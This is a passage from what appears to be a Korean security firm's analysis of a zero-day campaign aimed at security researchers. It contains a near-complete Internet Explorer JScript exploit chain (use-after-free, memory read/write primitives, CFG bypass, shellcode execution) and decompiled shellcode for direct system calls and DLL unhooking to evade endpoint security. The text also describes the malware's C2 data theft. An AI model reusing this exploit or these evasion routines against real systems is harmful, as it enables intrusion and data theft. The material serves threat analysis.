}, 'DispatchTable': { offset: 44, size: 32 }, 'InterpreterInfo': { offset: 60, size: 32 }, 'Flags': { offset: 64, size: 32 } }) var _MIDL_SERVER_INFO_ = new SymTab(0x20, { 'pStubDesc': { offset: 0, size: 32 }, 'DispatchTable': { offset: 4, size: 32 }, 'ProcString': { offset: 8, size: 32 }, 'FmtStringOffset': { offset: 12, size: 32 } }) var _MIDL_STUB_DESC = new SymTab(0x50, { 'RpcInterfaceInformation': { offset: 0, size: 32 }, 'pfnAllocate': { offset: 4, size: 32 }, 'pfnFree': { offset: 8, size: 32 }, 'pFormatTypes': { offset: 32, size: 32 }, 'fCheckBounds': { offset: 36, size: 32 }, 'Version': { offset: 40, size: 32 }, 'MIDLVersion': { offset: 48, size: 32 }, 'mFlags': { offset: 64, size: 32 } }) var RPC_DISPATCH_TABLE = new SymTab(12, { 'DispatchTableCount': { offset: 0, size: 32 }, 'DispatchTable': { offset: 4, size: 32 }, }) var _RPC_MESSAGE = new SymTab(0x2c, { 'Handle': { offset: 0, size: 32 }, 'DataRepresentation': { offset: 4, size: 32 }, 'Buffer': { offset: 8, size: 32 }, 'BufferLength': { offset: 12, size: 32 }, 'TransferSyntax': { offset: 20, size: 32 }, 'RpcInterfaceInformation': { offset: 24, size: 32 }, 'RpcFlags': { offset: 40, size: 32 } }) var god var arr = [{}] var fake = new ArrayBuffer(0x100) var abf = new ArrayBuffer(0x20010) var alloc = alloc2() var hd0 = document.createAttribute('handle') var hd1 = document.createAttribute('handle') var hd2 var ele = document.createElement('element') var att = document.createAttribute('attribute') att.nodeValue = { valueOf: function() { hd1.nodeValue = (new alloc1()).nodeValue ele.clearAttributes() hd2 = hd1.cloneNode() ele.setAttribute('attribute', 1337) } } ele.setAttributeNode(att) ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2)) ele.removeAttributeNode(att) hd0.nodeValue = alloc var leak = new Uint32Array(dump(hd2.nodeValue)) var pAbf = leak[6] var pArr = leak[10] var VT_I4 = 0x3 var VT_DISPATCH = 0x9 var VT_BYREF = 0x4000 var bufArr = new Array(0x10) var fakeArr = new Uint32Array(fake) for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4)) flush() var ref = new VBArray(hd0.nodeValue) for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1) ref = null setData(1, new Data(VT_BYREF | VT_I4, bufArr[4])) setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04)) setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c)) flush() ref = new VBArray(hd0.nodeValue) var vt = ref.getItem(1) var gc = ref.getItem(2) var bs = ref.getItem(3) ref = null for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i] fakeArr[4] = bs + 0x40 fakeArr[16] = vt fakeArr[17] = gc fakeArr[24] = 0xffffffff setData(1, new Data(VT_DISPATCH, bs)) flush() ref = new VBArray(hd0.nodeValue) god = new DataView(ref.getItem(1)) ref = null pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10 write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32) var map = new Map() var jscript9 = getBase(read(addrOf(map), 32)) var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll') var msvcrt = getDllBase(jscript9, 'msvcrt.dll') var ntdll = getDllBase(msvcrt, 'ntdll.dll') var kernelbase = getDllBase(msvcrt, 'kernelbase.dll') var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect') var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA') var xyz = document.createAttribute('xyz') var paoi = addrOf(xyz) var patt = read(addrOf(xyz) + 0x18, 32) var osf_vft = aos() var msg = initRpc() var rpcFree = rpcFree() killCfg(rpcrt4) var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3]) var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000 var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer]) writeData(msi, shellcode) // mov eax, 0x1337 ; ret call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer]) var result = call2(msi, []) alert(result.toString(16)) </script> </body> </html>
Shellcode Analysis
쉘코드는 감염 시스템에서 실행 중인 프로세스 목록, 화면 캡처, 네트워크 인터페이스 정보를 C2로 송신하여 감염 대상의 기본 정보를 수집한 후 C2 서버에서 암호화된 추가 악성코드를 메모리에 다운로드 후 실행하는 역할을 합니다.
권한 상승 공격과 주요 악성 행위를 수행할 것으로 예상되는 추가 악성코드는 확보하지 못해 상세한 공격의 의도나 결과를 밝힐 수 없지만 분석 중 확인된 악성코드의 특징은 다음과 같습니다.
Direct System Call
context *__fastcall set_syscall_number(context *ctx) { context *result; // rax _PEB *peb; // [rsp+20h] [rbp-18h] unsigned int buildNum; // [rsp+28h] [rbp-10h] peb = *(getTeb() + 12); ctx->NtMapViewOfSection = 0x28; ctx->NtUnmapViewOfSection = 0x2A; ctx->NtProtectVirtualMemory = 0x50; ctx->NtQueryVirtualMemory = 0x23; ctx->NtOpenSection = 0x37; result = peb->OSBuildNumber; buildNum = peb->OSBuildNumber; if ( buildNum >= 7600 ) { if ( peb->OSBuildNumber <= 7601u ) { ctx->NtMapViewOfSection = 0x25; ctx->NtUnmapViewOfSection = 0x27; ctx->NtProtectVirtualMemory = 0x4D; ctx->NtQueryVirtualMemory = 0x20; result = ctx; ctx->NtOpenSection = 0x34; } else if ( buildNum == 9200 ) { ctx->NtMapViewOfSection = 0x26; ctx->NtUnmapViewOfSection = 0x28; ctx->NtProtectVirtualMemory = 0x4E; ctx->NtQueryVirtualMemory = 0x21; result = ctx; ctx->NtOpenSection = 0x35; } else if ( buildNum == 9600 ) { ctx->NtMapViewOfSection = 0x27; ctx->NtUnmapViewOfSection = 0x29; ctx->NtProtectVirtualMemory = 0x4F; ctx->NtQueryVirtualMemory = 0x22; result = ctx; ctx->NtOpenSection = 0x36; } } return result; }
쉘코드는 주요 API를 DLL에 구현된 함수를 사용하지 않고 시스템 콜을 직접 호출하는 방법을 사용합니다. 이는 엔드 포인트 보안 제품들의 탐지를 우회하기 위한 시도로 해석됩니다.
Disable User Mode Hook
_BOOL8 __fastcall unhook_system_dlls(context *ctx) { char v2[16]; // [rsp+20h] [rbp-48h] BYREF char v3[16]; // [rsp+30h] [rbp-38h] BYREF char v4[16]; // [rsp+40h] [rbp-28h] BYREF strcpy(v3, "ntdll.dll"); strcpy(v4, "kernel32.dll"); strcpy(v2, "kernelbase.dll"); return unhook(ctx, v3) && unhook(ctx, v2) && unhook(ctx, v4); }
“\KnownDlls” 디렉토리에서 주요 시스템 Dll의 원본을 현재 프로세스로 복사하여 유저 모드 훅을 제거합니다. 이 또한 보안 제품을 우회하기 위한 시도로 해석됩니다.
In Process Dll Hiding
32비트 IE 프로세스에서 동작을 시작한 쉘코드는 “splwow64.exe” 프로그램을 실행해 64비트 프로세스에서 악성 행위를 진행합니다. 이때 대상 프로세스에 적재하는 악성코드를 정상 Dll의 시작 주소에서 0x1000 오프셋만큼 떨어진 주소에 위치하도록 하여 프로세스에 맵핑된 Dll을 기준으로 탐지하는 보안 제품을 무력화하기 위한 것으로 보입니다.
Conclusion
이번 공격에서는 주요 소프트웨어의 0Day 취약점을 이용한 것 외에도 공격자가 오랜 기간 보안 연구자로 둔갑한 SNS계정을 준비하고 이를 활용한 것이 특징입니다.
컴퓨터 기술은 해킹 사고의 근본적 원인인 보안 취약점이 발생하지 않도록 발전하고 있으나, 이번 사례와 같이 부주의한 사람의 실수를 대상으로 하는 사이버 공격은 앞으로도 빈번히 발생할 것으로 예상됩니다.
따라서 컴퓨터와 인터넷이 주는 생활의 편의 이면에는 언제나 잠재적인 보안 위협이 존재한다는 사실을 인식하고, 선제적으로 대응하는 것이 현실의 보안 문제에 맞서는 최선의 방안이라고 생각합니다.
엔키화이트햇
엔키화이트햇
오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.
오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.
Contact
biz@enki.co.kr
02-402-1337
서울특별시 송파구 송파대로 167
(테라타워 B동 1214~1217호)
ENKI Whitehat Co., Ltd.
Copyright © 2024. All rights reserved.